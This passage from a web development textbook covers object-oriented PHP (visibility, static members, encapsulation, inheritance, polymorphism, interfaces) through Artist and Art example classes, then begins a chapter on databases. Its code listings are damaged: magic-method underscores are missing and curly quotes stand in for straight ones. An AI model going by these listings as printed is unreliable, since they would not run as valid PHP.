constructor in UML.

Figure 13.9 Updated class
diagram



Figure 13.9 Full Alternative Text

Note
If a class implements the     toString() magic method so that it returns a
string, then wherever the object is echoed, it will automatically call    
toString(). If you renamed your outputAsTable() method to    
toString(), then you could print the HTML table simply by calling:

echo $picasso;

Note
Many languages support the concept of overloading a method so that two
methods can share the same name, but have different parameters. While PHP
has the ability to define default parameters, no method, including the
constructor, can be overloaded!

13.2.6 Visibility
The visibility of a property or method determines the accessibility of a class
member (i.e., a property or method) and can be set to public, private, or
protected. Figure 13.10 illustrates how visibility works in PHP.



Figure 13.10 Visibility of class
members

Figure 13.10 Full Alternative Text

As can be seen in Figure 13.10 , the public keyword means that the property
or method is accessible to any code that has a reference to the object. The
private keyword sets a method or variable to only be accessible from within
the class. This means that we cannot access or modify the property from
outside of the class, even if we have a reference to it as shown in Figure



13.10 . The protected keyword will be discussed later after we cover
inheritance. For now consider a protected property or method to be private. In
UML, the “+” symbol is used to denote public properties and methods, the
“-” symbol for private ones, and the “#” symbol for protected ones.

13.2.7 Static Members
A static member is a property or method that all instances of a class share.
Unlike an instance property, where each object gets its own value for that
property, there is only one value for a class's static property.

Hands-on Exercises Lab 13
Exercise
Add Static Variables

To illustrate how a static member is shared between instances of a class, we
will add the static property artistCount to our Artist class, and use it to
keep a count of how many Artist objects are currently instantiated. This
variable is declared static by including the static keyword in the
declaration:

public static $artistCount = 0;

For illustrative purposes we will also modify our constructor, so that it
increments this value, as shown in Listing 13.5.

Listing 13.5 Class definition
modified with static members
class Artist { 



     public static $artistCount = 0; 

     public   $firstName; 

     public   $lastName; 

     public   $birthDate; 

     public   $birthCity; 

     public   $deathDate; 

   

     function     construct($firstName, $lastName, $city, $birth, 

                         $death=null) { 

        $this->firstName = $firstName; 

        $this->lastName = $lastName; 

        $this->birthCity = $city; 

        $this->birthDate = $birth; 

        $this->deathDate = $death; 

        self::$artistCount++; 

     } 

}

Notice that you do not reference a static property using the $this-> syntax,
but rather it has its own self:: syntax. The rationale behind this change is to
force the programmer to understand that the variable is static and not
associated with an instance ($this). This static variable can also be accessed
without any instance of an Artist object by using the class name, that is, via
Artist::$artistCount.

To illustrate the impact of these changes look at Figure 13.11 , where the
shared property is underlined (UML notation) to indicate its static nature and
the shared reference between multiple instances is illustrated with arrows,
including one reference without any instance.



Figure 13.11 A static property
Figure 13.11 Full Alternative Text

Static methods are similar to static properties in that they are globally
accessible (if public) and are not associated with particular objects. It should
be noted that static methods cannot access instance members. Static methods
are called using the same double colon syntax as static properties.

Why would you need a static member? Static members tend to be used
relatively infrequently. However, classes sometimes have data or operations
that are independent of the instances of the class. We will find them helpful
when we create a more sophisticated class hierarchy in Chapter 17 on Web
Application Design.

13.2.8 Class Constants
If you want to add a property to a class that is constant, you could do it with



static properties as shown above. However, constant values can be stored
more efficiently as class constants so long as they are not calculated or
updated. Example constants might include strings to define a commonly used
literal. They are added to a class using the const keyword.

const EARLIEST_DATE = 'January 1, 1200';

Unlike all other variables, constants do not use the $ symbol when declaring
or using them. They can be accessed both inside and outside the class using
self::EARLIEST_DATE in the class and classReference::EARLIEST_DATE
outside.

Note
Naming conventions can help make your code more understandable to other
programmers. They typically involve a set of rules for naming variables,
functions, classes, and so on. So far, we have followed the naming
convention of beginning PHP variables with a lowercase letter, and using the
so-called “camelCase” (i.e., begin lowercase, and any new words start with
uppercase letter) for functions. You might wonder what conventions to
follow with classes.

PHP is an open-source project without an authority providing strong coding
convention recommendations as with Microsoft and ASP.NET or Oracle and
Java. Nonetheless, if we look at examples within the PHP documentation,
and examples in large PHP projects such as PEAR and Zend, we will see four
main conventions.

Class names begin with an uppercase letter and use underscores to
separate words (e.g., Painting_Controller).

Public and protected members (properties and methods) use camelCase
(e.g., getSize(), $firstName).

Constants are all capitals (e.g., DBNAME).



Names should be as descriptive as possible.

In the PEAR documentation and the older Zend documentation, there is an
additional convention: namely, that private members begin with an
underscore (e.g., _calculateProfit(), $_firstName). The rationale for
doing so is to make it clear when looking for the member name whether the
reference is to a public or private member. With the spread of more
sophisticated IDE this practice may seem less necessary. Nonetheless, it is a
common practice and you may encounter it when working with existing code
or examining code examples online.



13.3 Object-Oriented Design
Now that you have a basic understanding of how to define and use classes
and objects, you can start to get the benefits of software engineering patterns,
which encourage understandable and less error-prone code. The object-
oriented design of software offers many benefits in terms of modularity,
testability, and reusability.

13.3.1 Data Encapsulation
Perhaps the most important advantage to object-oriented design is the
possibility of encapsulation, which generally refers to restricting access to an
object's internal components. Another way of understanding encapsulation is:
it is the hiding of an object's implementation details.

Hands-on Exercises Lab 13
Exercise
Data Encapsulation

A properly encapsulated class will define an interface to the world in the
form of its public methods, and leave its data, that is, its properties, hidden
(i.e., private). This allows the class to control exactly how its data will be
used.

If a properly encapsulated class makes its properties private, then how do you
access them? The typical approach is to write methods for accessing and
modifying properties rather than allowing them to be accessed directly. These
methods are commonly called getters and setters (or accessors and mutators).
Some development environments can even generate getters and setters



automatically.

A getter to return a variable's value is often very straightforward and should
not modify the property. It is normally called without parameters, and returns
the property from within the class. For instance:

public function getFirstName() { 

   return $this->firstName; 

}

Setter methods modify properties, and allow extra logic to be added to
prevent properties from being set to strange values. For example, we might
only set a date property if the setter was passed an acceptable date:

public function setBirthDate($birthdate){ 

   // set variable only if passed a valid date string 

   $date = date_create($birthdate); 

   if ( ! $date ) { 

      $this->birthDate = $this->getEarliestAllowedDate(); 

   } 

   else { 

      // if very early date then change it to 

      // the earliest allowed date 

      if ( $date < $this->getEarliestAllowedDate() ) { 

         $date = $this->getEarliestAllowedDate(); 

      } 

      $this->birthDate = $date;         

   } 

}

Listing 13.6 shows the modified Artist class with getters and setters. Notice
that the properties are now private. As a result, the code from Listing 13.2
will no longer work for our class since it tries to reference and modify private
properties. Instead we would have to use the corresponding getters and
setters. Notice as well that two of the setter functions have a fair bit of
validation logic in them; this illustrates one of the key advantages to using
getters and setters: that the class can handle the responsibility of ensuring its
own data validation. And since the setter functions are performing validation,
the constructor for the class should use the setter functions to set the values,
as shown in this example.



Listing 13.6 Artist class with better
encapsulation
class Artist { 

   const EARLIEST_DATE = 'January 1, 1200'; 

 

   private static $artistCount = 0; 

   private $firstName; 

   private $lastName; 

   private $birthDate; 

   private $deathDate; 

   private $birthCity; 

    

   // notice constructor is using setters instead  

   // of accessing properties 

   function     construct($firstName, $lastName, $birthCity, $birthDate,

                       $deathDate) { 

      $this->setFirstName($firstName); 

      $this->setLastName($lastName);      

      $this->setBirthCity($birthCity); 

      $this->setBirthDate($birthDate); 

      $this->setDeathDate($deathDate); 

      self::$artistCount++; 

   }      

   // saving book space by putting each getter on single line  

   public function getFirstName() { return $this->firstName; } 

   public function getLastName()  { return $this->lastName; } 

   public function getBirthCity() { return $this->birthCity; } 

   public function getBirthDate() { return $this->birthDate; } 

   public function getDeathDate() { return $this->deathDate; } 

   public static function getArtistCount() { return self::$artistCount; }

   public function getEarliestAllowedDate () { 

      return date_create(self::EARLIEST_DATE); 

   } 

   

   public function setLastName($lastName)  

     { $this->lastName = $lastName; } 

   public function setFirstName($firstName)  

     { $this->firstName = $firstName; } 

   public function setBirthCity($birthCity)  

     { $this->birthCity = $birthCity; } 

 

   public function setBirthDate($birthdate) { 

      // set variable only if passed a valid date string 



      $date = date_create($birthdate); 

      if ( ! $date ) { 

         $this->birthDate = $this->getEarliestAllowedDate(); 

      } 

      else { 

          // if very early date then change it to earliest allowed date

         if ( $date < $this->getEarliestAllowedDate()  ) { 

            $date = $this->getEarliestAllowedDate(); 

         } 

         $this->birthDate = $date;         

      } 

   } 

 

   public function setDeathDate($deathdate)  { 

      // set variable only if passed a valid date string 

      $date = date_create($deathdate); 

 

      if ( ! $date ) { 

         $this->deathDate = $this->getEarliestAllowedDate(); 

      } 

      else { 

         // set variable only if later than birth date 

         if ($date > $this->getBirthDate()) { 

         $this->deathDate = $date; 

         } 

         else { 

            $this->deathDate = $this->getBirthDate(); 

         } 

      } 

   } 

}

Pro Tip
Listing 13.6 uses the more complicated DateTime class or its alias method
(that is a method, date_create()), rather than the simpler and more
commonly used strtotime() function for converting a string containing a
free format date into a Unix timestamp. The drawback to the strtotime()
function is that it only supports a very constrained year range. On some
systems, this means only years between 1970 and 2038, or on some systems
between 1900 and 2038. Because the birth and death years of artists can fall
before 1900, the example class must make use of the more complicated



DateTime class.

Two forms of the updated UML class diagram for our data encapsulated class
are shown in Figure 13.12 . The longer one includes all the getter and setter
methods. It is quite common, however, to exclude the getter and setter
methods from a class diagram; we can just assume they exist due to the
private properties in the property compartment of the class diagram.

Figure 13.12 Class diagrams
for fully encapsulated Artist
class



Figure 13.12 Full Alternative Text

Now that the encapsulated Artist class is defined, how can one use it?
Listing 13.7 demonstrates how the Artist class could be used and tested.

Listing 13.7 Using the encapsulated
class
<html> 

  <body> 

  <h2>Tester for Artist class</h2> 

 

  <?php 

  // first must include the class definition 

  include 'Artist.class.php'; 

 

  // now create one instance of the Artist class 

  $picasso = new Artist(“Pablo”,“Picasso”,“Malaga”,“Oct 25,1881”, 

                        “Apr 8,1973”); 

 

// output some of its fields to test the getters 

echo $picasso->getLastName() . ': '; 

echo date_format($picasso->getBirthDate(),'d M Y') . ' to '; 

echo date_format($picasso->getDeathDate(),'d M Y') . '<hr>'; 

 

// create another instance and test it 

$dali = new Artist(“Salvador”,“Dali”,“Figures”,“May 11,1904”, 

                   “January 23,1989”); 

 

echo $dali->getLastName() . ': '; 

echo date_format($dali->getBirthDate(),'d M Y') . ' to '; 

echo date_format($dali->getDeathDate(),'d M Y'). '<hr>'; 

 

// test the output method 

echo $picasso->outputAsTable(); 

 

// finally test the static method: notice its syntax 

echo '<hr>'; 

echo 'Number of Instantiated artists: ' . Artist::getArtistCount();

 

?> 

</body> 



</html>

Tools Insight

Generate Getters and Setters
If you are using an IDE like Eclipse, then coding for encapsulation is built
right in. The functionality to Generate Getters and Setters writes code for get
and set methods for private elements in a class. Using a simple interface as
shown in Figure 13.13 , the user chooses which variables need get and or set
methods created. Once the methods are written application specific logic can
be added, but time will be saved since the skeleton for each function will
have been generated.



Figure 13.13 Interface to
generate code for getter and
setter methods

Figure 13.13 Full Alternative Text

Tools that reduce the overhead of good design patterns are valuable because
they increase the likelihood that good design will be adopted.

It should be noted that while the tools provide assistance to programmers to



develop more secure and better-designed code, they do not make design
decisions about which members should be public or private. Students should
be careful to think about what is being done, rather than blindly click ok and
accept the defaults.

13.3.2 Inheritance
Along with encapsulation, inheritance is one of the three key concepts in
object-oriented design and programming (we will cover the third,
polymorphism, next). Inheritance enables you to create new PHP classes that
reuse, extend, and modify the behavior that is defined in another PHP class.
Although some languages allow it, PHP only allows you to inherit from one
class at a time.

Hands-on Exercises Lab 13
Exercise
Inheritance

A class that is inheriting from another class is said to be a subclass or a
derived class. The class that is being inherited from is typically called a
superclass or a base class. When a class inherits from another class, it inherits
all of its public and protected methods and properties. Figure 13.14 illustrates
how inheritance is shown in a UML class diagram.



Figure 13.14 UML class
diagrams showing inheritance

Figure 13.14 Full Alternative Text

Just as in Java, a PHP class is defined as a subclass by using the extends
keyword.

class Painting extends Art { … }

Referencing Base Class Members
As mentioned above, a subclass inherits the public and protected members of
the base class. Thus in the following code based on Figure 13.14 , both of the



references will work because it is as if the base class public members are
defined within the subclass.

$p = new Painting(); 

… 

// these references are ok 

echo $p->getName();      // defined in base class 

echo $p->getMedium();    // defined in subclass

In PHP any reference to a member in the base class requires the addition of
the parent:: prefix instead of the $this-> prefix. So within the Painting
class, a reference to the getName() method would be:

parent::getName()

It is important to note that private members in the base class are not
available to its subclasses. Thus, within the Painting class, a reference like
the following would not work.

$abc = parent::name;   // would not work within the Painting class

If you want a member to be available to subclasses but not anywhere else,
you can use the protected access modifier, which is shown in Figure 13.15 .



Figure 13.15 Protected access
modifier

Figure 13.15 Full Alternative Text

To best see the potential benefits of inheritance, let us look at a slightly
extended example involving different types of art. For our previously defined
Artist class, imagine we include a list of works of art for each artist. We
might manage that list inside the class with an array of objects of type Art.
Such a list must allow objects of many types, for what is art after all? We can



have music works, paintings, writings, sculptures, prints, inventions, and
more, all considered Art. We will therefore use the idea of art as the basis for
demonstrating inheritance in PHP. Figure 13.16 shows the relationship of the
classes in our example.

Figure 13.16 Class diagram for
Art example

Figure 13.16 Full Alternative Text

In this example, paintings, sculptures, and art prints are all types of Art, but
they each have unique attributes (a Sculpture has weight, while a Painting
has a medium, such as oil or acrylic, while an ArtPrint is a special type of
Painting). In the art world, a print is like a certified copy of the original
painting. A print is typically signed by the artist and given a print run
number, which we will record in the printNumber property. Finally, notice



that the Art class has an association with Artist, meaning that the artist
property will contain an object of type Artist.

Listing 13.8 lists the implementation of these four classes. Notice how the
subclass constructors invoke the constructors of their base class and that
many of the setter methods are performing some type of validation. Notice as
well the use of the abstract keyword in the first line of the definition of the
Art class. An abstract class is one that cannot be instantiated. In the context
of art, there can be concrete types of art, such as paintings, sculpture, or
prints, but not “art” in general, so it makes sense to programmatically model
this limitation via the abstract keyword.

Listing 13.8 Class implementations
for Figure 13.16
/* The abstract class that contains functionality required by all 

   types of Art */ 

 

abstract class Art { 

   private $name; 

   private $artist; 

   private $yearCreated; 

 

   function      construct($year, $artist, $name) { 

      $this->setYear($year); 

      $this->setArtist($artist); 

      $this->setName($name); 

   } 

   public function getYear() { return $this->yearCreated; } 

   public function getArtist() { return $this->artist; } 

   public function getName() { return $this->name; } 

   public function setYear($year) { 

      if (is_numeric($year)) 

         $this->yearCreated = $year; 

   } 

   public function setArtist($artist) { 

      if ((is_object($artist)) && ($artist instanceof Artist)) 

         $this->artist = $artist; 

   } 

   public function setName($name) { 



      $this->name = $name; 

   } 

 

   public function     toString() { 

      $line = “Year:” . $this->getYear();  

      $line .= “, Name: ” .$this->getName(); 

      $line .= “, Artist: ” . $this->getArtist()->getFirstName() . ' ';

      $line .= $this->getArtist()->getLastName(); 

      return $line; 

   } 

} 

 

class Painting extends Art { 

   private $medium; 

 

   function     construct($year, $artist, $name, $medium) { 

      parent::    construct($year, $artist, $name); 

      $this->setMedium($medium); 

   } 

   public function getMedium() { return $this->medium; }  

   public function setMedium($medium) { 

      $this->medium = $medium; 

   } 

   public function      toString() { 

      return parent::    toString() . “, Medium: ” . $this->getMedium();

   } 

} 

 

class Sculpture extends Art { 

   private $weight; 

 

   function      construct($year, $artist, $name, $weight) { 

      parent::    construct($year, $artist, $name); 

      $this->setWeight($weight); 

   } 

   public function getWeight() { return $this->weight; }  

   public function setWeight($weight) { 

      if (is_numeric($weight)) 

         $this->weight = $weight; 

   }   

   public function      toString() { 

      return parent::    toString() . “, Weight: ” . $this->getWeight()

             .“kg”; 

   } 

} 

 

class ArtPrint extends Painting { 

   private $printNumber; 



 

   function     construct($year, $artist, $name, $medium, $printNumber) {

      parent::    construct($year, $artist, $name, $medium); 

      $this->setPrintNumber($printNumber); 

   } 

   public function getPrintNumber() { return $this->printNumber; }

   public function setPrintNumber($printNumber) { 

      if (is_numeric($printNumber)) 

         $this->printNumber = $printNumber; 

   }   

   public function      toString() { 

      return parent::    toString() . “, Print Number: ”  

             .$this->getPrintNumber(); 

   } 

}

Whenever you create classes, you will eventually need to use them. The
authors often find it useful to create tester pages that verify a class works as
expected. Listing 13.9 illustrates a typical tester. Notice that since the Art
class has a data member of type Artist, it is possible to also access the
Artist properties through the Art object.

Listing 13.9 Using the classes
<?php 

// include the classes 

include 'Artist.class.php'; 

include 'Art.class.php'; 

include 'Painting.class.php'; 

include 'Sculpture.class.php'; 

include 'ArtPrint.class.php'; 

// instantiate some sample objects 

$picasso = new Artist(“Pablo”,“Picasso”,“Malaga”,“May 11,904”,  

                      “Apr 8, 1973”); 

$guernica = new Painting(“1937”,$picasso,“Guernica”,“Oil on  

                         canvas”); 

$stein = new Painting(“1907”,$picasso,“Portrait of Gertrude Stein”,

                      “Oil on canvas”); 

$woman = new Sculpture(“1909”,$picasso,“Head of a Woman”, 30.5); 

$bowl = new ArtPrint(“1912”,$picasso,“Still Life with Bowl and Fruit”,

                     “Charcoal on paper”, 25); 

?> 

<html> 



<body> 

<h1>Tester for Art Classes</h1> 

 

<h2>Paintings</h2> 

<p><em>Use the      toString() methods </em></p> 

<p><?php echo $guernica; ?></p> 

<p><?php echo $stein; ?></p> 

 

<p><em>Use the getter methods </em></p> 

<?php 

echo $guernica->getName() . ' by '  

                . $guernica->getArtist()->getLastName();  

?> 

 

<h2>Sculptures</h2>  

<p>  <?php echo $woman; ?></p> 

 

<h2>Art Prints</h2> 

<?php 

echo 'Year: ' . $bowl->getYear() . '<br/>'; 

echo 'Artist: '; 

echo $bowl->getArtist()->getFirstName() . ' '; 

echo $bowl->getArtist()->getLastName() . ' ('; 

echo date_format( $bowl->getArtist()->getBirthDate() ,'d M Y') . ' - ';

echo date_format( $bowl->getArtist()->getDeathDate() ,'d M Y'); 

echo ')<br/>'; 

echo 'Name: ' . $bowl->getName() . '<br/>'; 

echo 'Medium: ' . $bowl->getMedium() . '<br/>'; 

echo 'Print Number: ' . $bowl->getPrintNumber() . '<br/>'; 

?> 

</body> 

</html>

Inheriting Methods
Every method defined in the base/parent class can be overridden when
extending a class, by declaring a function with the same name. A simple
example of overriding can be found in Listing 13.8 in which each subclass
overrides the     toString() method.

To access a public or protected method or property defined within a base
class from within a subclass, you do so by prefixing the member name with
parent::. So to access the parent's     toString() method you would



simply use parent::    toString().

Parent Constructors
If you want to invoke a parent constructor in the derived class's constructor,
you can use the parent:: syntax and call the constructor on the first line
parent::     construct(). This is similar to calling other parent methods,
except that to use it we must call it at the beginning of our constructor.

13.3.3 Polymorphism
Polymorphism is the third key object-oriented concept (along with
encapsulation and inheritance). In the inheritance example in Listing 13.8, the
classes Sculpture and Painting inherited from Art. Conceptually, a
sculpture is a work of art and a painting is a work of art. Polymorphism is the
notion that an object can in fact be multiple things at the same time. Let us
begin with an instance of a Painting object named $guernica created as
follows:

Hands-on Exercises Lab 13
Exercise
Iterating Polymorphic Objects

$guernica = new Painting(“1937”,$picasso,“Guernica”,“Oil on canvas”);

The variable $guernica is both a Painting object and an Art object due to its
inheritance. The advantage of polymorphism is that we can manage a list of
Art objects, and call the same overridden method on each. Listing 13.10
illustrates polymorphism at work.



Listing 13.10 Using polymorphism
$picasso = new Artist(“Pablo”,“Picasso”,“Malaga”,“Oct 25, 1881”, 

                      “Apr 8, 1973”); 

 

// create the paintings 

$guernica = new Painting(“1937”,$picasso,“Guernica”,“Oil on canvas”);

$chicago = new Sculpture(“1967”,$picasso,“Chicago”, 454); 

// create an array of art 

$works = array(); 

$works[0] = $guernica; 

$works[1] = $chicago; 

// to test polymorphism, loop through art array 

foreach ($works as $art) 

{ 

   // the beauty of polymorphism: 

   // the appropriate      toString() method will be called! 

   echo $art; 

}   

 

// add works to artist … any type of art class will work 

$picasso->addWork($guernica); 

$picasso->addWork($chicago); 

// do the same type of loop 

foreach ($picasso->getWorks() as $art) { 

   echo $art;   // again polymorphism at work 

}

Due to overriding methods in child classes, the actual method called will
depend on the type of the object! Using     toString() as an example, a
Painting will output its name, date, and medium and a Sculpture will
output its name, date, and weight. The code in Listing 13.10 calls echo on
both a Painting and a Sculpture with different output for each shown
below:

Date:1937, Name:Guernica, Medium: Oil on canvas 

Date:1967, Name:Chicago, Weight: 454kg

The interesting part is that the correct     toString() method was called for
both Art objects, based on their type. The formal notion of having a different
method for a different class, all of which is determined at run time, is called
dynamic dispatching. Just as each object can maintain its own properties,



each object also manages its own table of methods. This means that two
objects of the same type can have different implementations with the same
name as in our Painting/Sculpture example. The point is that at compile time,
we may not know what type each of the Art objects will be. Only at run time
are the objects' types known, and the appropriate method selected.

13.3.4 Object Interfaces
An object interface is a way of defining a formal list of methods that a class
must implement without specifying their implementation. Interfaces provide
a mechanism for defining what a class can do without specifying how it does
it, which is often a very useful design technique. The class infrastructure that
will be defined in Chapter 17 makes use of interfaces.

Hands-on Exercises Lab 13
Exercise
Using Interfaces

Interfaces are defined using the interface keyword, and look similar to
standard PHP classes, except an interface contains no properties and its
methods do not have method bodies defined. For instance, an example
interface might look like the following:

interface Viewable { 

   public function getSize(); 

   public function getPNG(); 

}

Notice that an interface contains only public methods, and instead of having a
method body, each method is terminated with a semicolon.

In PHP, a class can be said to implement an interface, using the implements
keyword:



class Painting extends Art implements Viewable { … }

This means then that the class Painting must provide implementations (i.e.,
normal method bodies) for the getSize() and getPNG() methods.

When learning object-oriented development, it is not usually clear at first
why interfaces are useful, so let us work through a quick example extending
the art example further. So far, we have looked at paintings, sculptures, and
prints as types of art. They are examples of art that is viewed (or in the lingo
of interfaces, viewable). But one could imagine other types of art that are not
viewed, such as music. In the case of music, it is not viewable, but playable.
Other types of art, such as movies, are both viewable and playable.

With interfaces we can define these multiple ways of enjoying the art, and
then classes derived from Art can declare what interfaces they implement.
This allows us to define a more formal structure apart from the derived
classes themselves. Listing 13.11 defines a Viewable interface, which defines
methods to return a png image to represent the viewable piece of art and get
its size. Since our existing Painting class is no doubt viewable, it should
implement this interface by modifying our class definition and add an
implementation for the methods in the interface not yet defined. We then
declare that the Painting class implements the Viewable interface.

Listing 13.11 Painting class
implementing an interface
interface Viewable { 

   public function getSize(); 

   public function getPNG(); 

} 

 

class Painting extends Art  implements Viewable  { 

   …   

   public function getPNG() { 

      // return image data would go here 

      … 

   } 

   public function getSize() { 



      // return image size would go here 

      … 

   } 

}

Listing 13.12 defines another interface (Playable), and then two classes that
use it.

Listing 13.12 Playable interface and
multiple interface implementations
interface Playable { 

   public function getLength(); 

   public function getMedia(); 

} 

 

class Music extends Art  implements Playable  { 

   … 

   public function getMedia() { 

     // returns the music  

      … 

   } 

   public function getLength() { 

      // return the length of the music 

   } 

} 

class Movie extends Painting  implements Playable, Viewable { 

   …  

   public function getMedia() { 

      // return the movie 

      … 

   } 

   public function getLength() { 

      // return the length of the movie 

      … 

   } 

   public function getPNG() { 

      // return image data 

      … 

   } 

   public function getSize() { 

      // return image size would go here 

      … 



   } 

}

While PHP prevents us from inheriting from two classes, it does not prevent
us from implementing two or more interfaces. The Movie class therefore
extends from Painting but also implements the two interfaces Viewable and
Playable. The diagram illustrating this relationship in UML is shown in
Figure 13.17 . In UML, interfaces are denoted through the <<interface>>
stereotype. Classes that implement an interface are shown to implement using
the same hollow triangles as inheritance but with dotted lines.

Figure 13.17 Indicating
interfaces in a class diagram

Figure 13.17 Full Alternative Text

Runtime Class and Interface



Determination
One of the things you may want to do in code as you are iterating
polymorphically through a list of objects is ask what type of class this is, or
what interfaces this object implements. Usually if you find yourself having to
ask this too often, you are not using inheritance and interfaces in a correct
object-oriented manner, since it is better to define logic inside the classes
rather than put logic in your loops to determine what type of object this is.
Nonetheless we can echo the class name of an object $x by using the
get_class() function:

echo get_class($x);

Similarly we can access the parent class with:

echo get_parent_class($x);

To determine what interfaces this class has implemented, use the function
class_implements(), which returns an array of all the interfaces
implemented by this class or its parents.

$allInterfaces = class_implements($x);

Pro Tip
As of PHP 5.3.2 there is a new mechanism called traits, which can be thought
of as interfaces with code (rather than just signatures). These traits can be
added to any class like a block of code pasted in, but do not affect the class
relationship like inheritance or interface implementation does.3 In this book
we will not use traits, because of their odd behavior when used with other
mechanisms.



13.4 Chapter Summary
In this chapter, we have covered what is a vital topic in modern-day
programming, namely, how to do object-oriented programming in PHP.
While it is possible to work with PHP without using classes and objects, their
use industry-wide is evidence of their ability to generate more modular,
reusable, and maintainable code. PHP programmers can benefit from these
experiences by also using these object-oriented techniques, thereby
improving the maintainability and portability of their web applications.

13.4.1 Key Terms
base class

class

class member

constructor

data members

derived class

dynamic dispatching

encapsulation

getters and setters

inheritance

instance

instantiate



Integrated Development Environment (IDE)

interface

magic methods

methods

naming conventions

objects

polymorphism

properties

refactoring

skeleton

static

subclass

superclass

UML (Unified Modeling Language)

visibility

13.4.2 Review Questions
1. 1. What is a static variable and how does it differ from a regular one?

2. 2. What are the three access modifiers?

3. 3. What is a constructor?



4. 4. Explain the role of an interface in object-oriented programming.

5. 5. What are the principles of data encapsulation?

6. 6. What is the advantage of polymorphism?

7. 7. When is the determination made as to which version of a method to
call? Compile time or run time.

8. 8. What are two features of an Integrated development environment that
help programmers write code?

13.4.3 Hands-On Practice

Project 1: Share Your Travel
Photos

Difficulty Level: Intermediate

Overview
This exercise walks you through the usage of a static class variable, and
simple data encapsulation. It builds on the structure you have from Chapter
12 Project 2, but replaces arrays of arrays with a single array of objects of
type TravelImage.

Hands-on Exercises
Project 13.1



Instructions
1. Create a file named TravelPhoto.class.php and within it define a class

named TravelPhoto, which has private properties: date, fileName,
description, title, latitude, longitude, and ID.

2. Define a static member variable named photoID, which will be used to
set each instance's ID value and then be incremented, all inside the class
constructor.

3. Create a constructor that takes in fileName, title, description,
latitude, and longitude.

4. Implement the     toString() method that should return the HTML
markup for an <img> element for the member data within this object.
This <img> element should also have alt and title attributes set to the
value of the object's title property.

5. Open travel-data-classes.php. Notice that it contains instantiations of
TravelPhoto objects inside an array.

6. Modify your Chapter12-project02.php to use the array of objects within
travel-data-classes.php rather than the data in travel-data.php. Hint: Use
your new     toString() method.

Testing
1. Open your script in a browser to see the output. You should see output

identical to that in Figure 12.61.

2. Hover over the image to ensure the title attribute of each image is set.

3. Clicking the link will still take you to travel-image.php with the id
element passed as a query string parameter.



Project 2: Share Your Travel
Photos

Difficulty Level: Intermediate

Overview
This exercise builds on the last one by improving the design to be more
modular and less coupled. In particular we will guide you on separating the
Location out from the TravelPhoto class. The files from Project 1 will be
used as a starting point for this project.

Hands-on Exercises
Project 13.2

Instructions
1. Define a new class, Location, inside of a new file named

Location.class.php. Make the constructor take three parameters: a
latitude, longitude, and a city code.

2. Modify the TravelPhoto class to store an instance of a Location, rather
than the latitude and longitude. You may need to modify small pieces of
code throughout to account for the change. Hint: Create the new
Location object in the constructor of TravelPhoto.

3. Write a function that given one instance of TravelPhoto, finds the
nearest travel photo in the array of TravelPhoto objects. Hint: Compare



the latitude and longitude values.

4. Modify the travel-image.php detail page to output a link to the nearest
image underneath the main photo.

Testing
1. Ensure the site still looks the same, despite making better use of objects.

2. To confirm that your location proximity function works correctly, input
several proposed “nearest” locations into a map to visually confirm that
the photos are in fact close to one another.

Project 3: CRM Admin

Difficulty Level: Intermediate

Overview
Demonstrate your ability to instantiate classes from text files and then display
the content. This project has output identical to Chapter 12 Project 3.

Hands-on Exercises
Project 13.3

Instructions



1. You have been provided with a PHP file (Chapter13-project03.php) that
includes all the necessary markup. You have also been provided with
two text files, customers.txt and orders.txt, that contain information on
customers and their orders. (These files are the same as files from
Chapter 12 Project 3.)

2. Define classes to encapsulate the data of a Customer and an Order. Each
line in the file contains the following information: customer id, name,
email, university, address, city, country, sales (array). Each line in the
orders file contains the following data: order id, customer id, book
ISBN, book title, book category.

3. Read the data in customers.txt and for each line in that file create a new
instance of Customer in an array, and then display the customer data in a
table.

4. Each customer name must be a link back to Chapter13-project03.php but
with the customer id data as a query string.

5. When the user clicks on the customer name (i.e., makes a request to the
same page but with the customer id passed as a query string), then read
the data in orders.txt into an array of Order objects, and then display any
matching order data for that customer. Be sure to display a message
when there is no order information for the requested customer.

Test
1. Test the page in the browser. Verify the correct orders are displayed for

different customers. Also note that the customer name is displayed in the
panel heading for the orders.

2. Try writing a print_r() statement to output the structure of all
Customer and Order objects and verify they match the data in the files.
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14 Working with Databases



Chapter Objectives
In this chapter you will learn …

The role that databases play in web development

The basic terminology of database design

What are the basic data manipulation commands in SQL

How to set up a MySQL database

How to access MySQL databases in PHP using database APIs

Some common database-driven techniques in PHP

How NoSQL database systems work

This chapter covers the core principles of relational Database Management
Systems (DBMSs), which are essential components of most dynamic
websites. We will cover the essential, core concepts that you will need to
know to build dynamic, database-driven sites. You will see how these
databases are designed and administered, and learn about Structured Query
Language (SQL), which allows you to search through data in the database
efficiently. Finally, we illustrate connections and queries through a variety of
PHP techniques. Databases taught at the university level go far beyond the
scope of this practical, hands-on chapter. We cannot hope to cover all
database concepts, and so we focus on key terms, principles, and tools that
allow you to get working with databases right away. Nonetheless, this is
among the lengthiest chapters in the book; this material is, however, essential
for creating any dynamic website.



14.1 Databases and Web
Development
Almost every dynamic website makes use of some type of server-based data
source. By far the most common data source for these sites is a database.
Back in Chapter 1, you learned that many real-world sites make use of a
database server, which is a computer that is devoted to running a relational
DBMS. In smaller sites, however, such as those you create in your lab
exercises, the database server is usually the same machine as the web server.

In this book, we will focus our examples and code on the relational DBMS
MySQL.1 While the MySQL source code is openly available, it is now
owned by Oracle Corporation. MariaDB is a more recent open-source, drop-
in (i.e., fully-compatible) replacement for MySQL that was created due to
copyright concerns over Oracle's purchase of Sun and MySQL. There are
many other open-source and proprietary relational DBMS alternates to
MySQL, such as PostgreSQL,2 Oracle Database,3 IBM DB2,4 and Microsoft
SQL Server.5 All of these relational database management systems are
capable of managing large amounts of data, maintaining data integrity,
responding to many queries, creating indexes and triggers, and more.

In addition to the powerful relational database systems we will use
throughout the book there are non-relational models for database systems that
will also be explored. NoSQL systems like Cassandra and MongoDB address
large scale data questions using different ideas and syntax than relational
systems.

For the rest of this book, we will use the term database to refer to both the
software (i.e., the DBMS) and to the data that is managed by the DBMS.

14.1.1 The Role of Databases in
Web Development



The reason that databases are such an essential feature of real-world websites
is that they provide a way to implement one of the most important software
design principles: namely, that one should separate that which varies from
that which stays the same. In the context of the web, sites typically display
different content on different pages but those different pages share similar
user interface elements, or even have an identical visual design, as shown in
Figure 14.1 .



Figure 14.1 Separating content
from data

Figure 14.1 Full Alternative Text

In such a case the visual appearance (i.e., the HTML and CSS) is that which
stays the same, while the data content is that which varies. So by placing the
content into a database, you can programmatically “insert” the content into
the markup. The program (in our case written in PHP) determines which data
to display, often from information in the GET or POST query string, and then
uses a database API to interact with the database, as shown in Figure 14.2 .



Figure 14.2 How websites use
databases

